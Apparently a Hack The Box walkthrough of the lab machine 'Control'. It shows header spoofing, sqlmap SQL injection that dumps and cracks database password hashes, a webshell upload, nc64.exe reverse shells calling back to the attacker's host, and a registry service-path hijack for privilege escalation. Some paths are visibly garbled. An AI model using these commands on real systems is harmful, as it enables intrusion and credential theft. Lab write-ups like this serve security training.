Control - Hack The Box

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hackthebox
Author

0xPThree

Published

January 16, 2020

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. root@p3:/opt/htb/machines/control# nmapAutomatorDirb.sh 10.10.10.167 All PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |http-title: Fidelity 135/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql? | fingerprint-strings: | NULL: | Host ‘10.10.14.3’ is not allowed to connect to this MariaDB server 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC

    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Database: MariaDB

    • http://10.10.10.167:80/about.php (CODE:200|SIZE:7867)
    • http://10.10.10.167:80/admin.php (CODE:200|SIZE:89)
    • http://10.10.10.167:80/database.php (CODE:200|SIZE:0)
    • http://10.10.10.167:80/index.php (CODE:200|SIZE:3145)
    • OSVDB-3092: /license.txt: License file found may identify site software.

  2. On the website we find a ‘To Do’-list commented in the code, giving us the location of SSL Certificates, also hinting of a payment system. To Do:

    • Import Products
    • Link to new payment system
    • Enable SSL (Certificates location \192.168.4.28)

    http://control.htb/admin.php is Denied, we need to do this through a proxy. http://control.htb/database.php is a blank page

    rpcclient without a user doesn’t work - Error was NT_STATUS_IO_TIMEOUT mysql without a user doesn’t work - Host ‘10.10.14.3’ is not allowed to connect to this MariaDB server

  3. As stated on admin.php a header option is missing. Adding this up with that they have the SSL Certs on 192.168.4.28/myfiles it would make sense that that IP belongs to an admin. We can forge the HTTP GET Request to make it look like it was forwarded from that IP using the header X-Forwarded-From: IP-ADDRESS option.

    Burp Repeater: GET /admin.php HTTP/1.1 Host: control.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://control.htb/ Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 192.168.4.28

    Via CURL: root@p3:/opt/htb/machines/control# curl -H “X-Forwarded-For: 192.168.4.28” -v “http://control.htb/admin.php”

    Or using the Mozilla Firefox addon - HTTP Header Live to modify your requests in real time.

  4. On the admin-site we find a few new URLs, search_products.php, create_product.php and create_category.php. Being able to request directly in to the database (MariaDB) sounds promising, maybe we can get a shell from here.

    Investigating further and we find view_product.php, and within function.js.

    function viewProduct(id) { document.getElementById(“productId”).value = id; document.forms[“viewProducts”].action = “view_product.php”; document.forms[“viewProducts”].submit(); }

  5. Here we have a input variable called productId. Trying to inject data to it, it seems to be vulnerable to SQLi (error 500).

    Request, productId=1: POST /view_product.php HTTP/1.1 Host: control.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Content-Type: application/x-www-form-urlencoded Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 11

    productId=1

    Response, productId=1: HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.3.7 Date: Wed, 15 Jan 2020 13:15:50 GMT Connection: close Content-Length: 2083

    Request, productId=’: POST /view_product.php HTTP/1.1 Host: control.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Content-Type: application/x-www-form-urlencoded Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 11

    productId=’

    Response, productId=’: HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.3.7 Date: Wed, 15 Jan 2020 13:17:20 GMT Connection: close Content-Length: 1339

  6. Now we can either enumerate the db manually, or use sqlmap. I’ve tried both methods following the guide linked in “Information”, however using sqlmap is far quicker.

    root@p3:~/Documents/TelenorCPE# sqlmap -u http://control.htb/view_product.php –data productId=1 –current-user –current-db –passwords –tables .. [14:09:40] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [14:09:40] [INFO] fetching current user current user: ‘manager@localhost’ [14:09:40] [INFO] fetching current database current database: ‘warehouse’ [14:09:40] [INFO] fetching database users password hashes database management system users password hashes: [*] hector [1]: password hash: 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D [*] manager [1]: password hash: CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA [*] root [1]: password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8

  7. Add the hashes to a file and crack them using hashcat. root@p3:/opt/htb/machines/control# hashcat -a0 -m300 hashes.txt /usr/share/wordlists/rockyou.txt -o -hashes-cracked.txt root@p3:/opt/htb/machines/control# cat ./-hashes-cracked.txt 0e178792e8fc304a2e3133d535d38caf1da3cd9d:l33th4x0rhector cfe3eee434b38cbf709ad67a4dcdea476cba7fda:l3tm3!n

    We find the credentials for hector:l33th4x0rhector and manager:l3tm3!n

    NOTE: l3tm3!n is not normally part of rockyou.txt, I found this hash when cracking via sqlmap and crackstation.net, and then added it to my rockyou.txt

  8. We have now enumerated thoroughly and two sets of credentials. Using sqlmap we can upload files to the remote host, however we don’t fully know the root directory of the webserver. Googling this we find that the default web root directories for windows are c:, c:, and/or c:.

    Upload a webshell to one of the directories to see if the victim use a default file structure.

    root@p3:/opt/powercat# sqlmap -u http://control.htb/view_product.php –data productId=1 –file-write=“/opt/shells/webshell.php” –file-dest=“C:/inetpub/wwwroot/p3.php” .. [14:24:21] [INFO] the local file ‘/opt/shells/webshell.php’ and the remote file ‘C:/inetpub/wwwroot/upload.php’ have the same size (7206 B)

    Upload was successfull and we can confirm that C:/inetpub/wwwroot/ is the correct directory. We can now reach the webshell; http://control.htb/upload.php

  9. Just like the box Sniper we setup a reverse shell using nc64.exe on our local smb share (pub-share).

    Webshell: //10.10.14.3/pub-share/nc64.exe 10.10.14.3 4488 -e powershell

    root@p3:/opt# nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.3] from (UNKNOWN) [10.10.10.167] 51674 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

    PS C:> whoami nt authority PS C:> whoami /priv Privilege Name Description State ======================= ========================================= ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled

  10. With the privileges we can execute commands as user Hector, including setting up a new reverse shell with escalated privs.

    Assign Hectors credentials: PS C:> $user = ‘control.htb’ PS C:> $pass = ‘l33th4x0rhector’ | ConvertTo-SecureString -AsPlainText -Force PS C:> \(creds = New-Object System.Management.Automation.PSCredential(\)user,$pass)

    Test to make sure it works by executing a command: PS C:> Invoke-Command -ComputerName localhost -Credential $creds -ScriptBlock { whoami } control

    Setup a new reverse shell: PS C:> Invoke-Command -ComputerName localhost -Credential $creds -ScriptBlock { //10.10.14.3/pub-share/nc64.exe 10.10.14.3 4499 -e powershell }

    root@p3:/opt/htb/machines/control# nc -lvnp 4499 listening on [any] 4499 … connect to [10.10.14.3] from (UNKNOWN) [10.10.10.167] 51686 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

    PS C:> whoami control PS C:> type C:.txt d878****************************

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  1. General enumeration gives us close to nothing. Looking at the PS History of user Hector we find something interesting to follow

    PS C:> type C:_history.txt get-childitem HKLM:| format-list get-acl HKLM:| format-list

  2. The PS History hints us towards the Registry, so lets look if there are any vulnerable services using AccessChk.exe

    PS C:> ..exe “hector” -kvuqsw hklm

    Accesschk v6.12 - Reports effective permissions for securable objects Copyright (C) 2006-2017 Mark Russinovich Sysinternals - www.sysinternals.com

    RW HKLM.NET CLR Data KEY_ALL_ACCESS ..

    We get hundreds of lines of output, all saying that all services are writeable with “KEY_ALL_ACCESS” permissions.

  3. We need a way to filter the output, giving us the attack vector. We do this in 3 steps.

  1. List all Services in a .txt. The -kw flags list registry key (-k) and only writable services (-w) PS C:> ..exe “hector” -kw hklm> \10.10.14.11-share.txt

  2. Query all services to see which service we are allowed. Sort the allowed services in a list. PS C:> sc.exe qc applockerfltr

  3. Start all the allowed services from step B, filter the services that we are allowed to start. We now have our attack vector(s) PS C:> sc.exe start NetSetupSvc

  1. We now have a list of vulnerable services that we can exploit. The next steps are time sensitive so we need to be quick. Start by changing the binpath of a vulnerable service to do whatever you like, I chose to setup a reverse shell. PS C:> reg add “HKEY_LOCAL_MACHINE” /t REG_EXPAND_SZ /v ImagePath /d “C:64.exe 10.10.14.11 4400 -e powershell” /f

    Confirm that the path has been changed. PS C:> reg query “HKLM” /v “ImagePath”

    HKEY_LOCAL_MACHINE ImagePath REG_EXPAND_SZ C:64.exe 10.10.14.11 4400 -e powershell

    Start the service and receive your reverse shell. Grab flag before the service fails. PS C:> sc.exe start NetSetupSvc root@p3:/opt/htb/machines/control# nc -lnvp 4400 listening on [any] 4400 … connect to [10.10.14.11] from (UNKNOWN) [10.10.10.167] 49903 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

    PS C:> whoami nt authority PS C:> type root.txt 8f86****************************

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X-Forwarded-For https://en.wikipedia.org/wiki/X-Forwarded-For

SQLi https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8 https://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/#gref

SecList - Web, Root Directory https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt

Privesc Windows Registry https://medium.com/@shy327o/windows-privilege-escalation-insecure-service-1-ec4c428e4800 https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/ https://www.fuzzysecurity.com/tutorials/16.html ```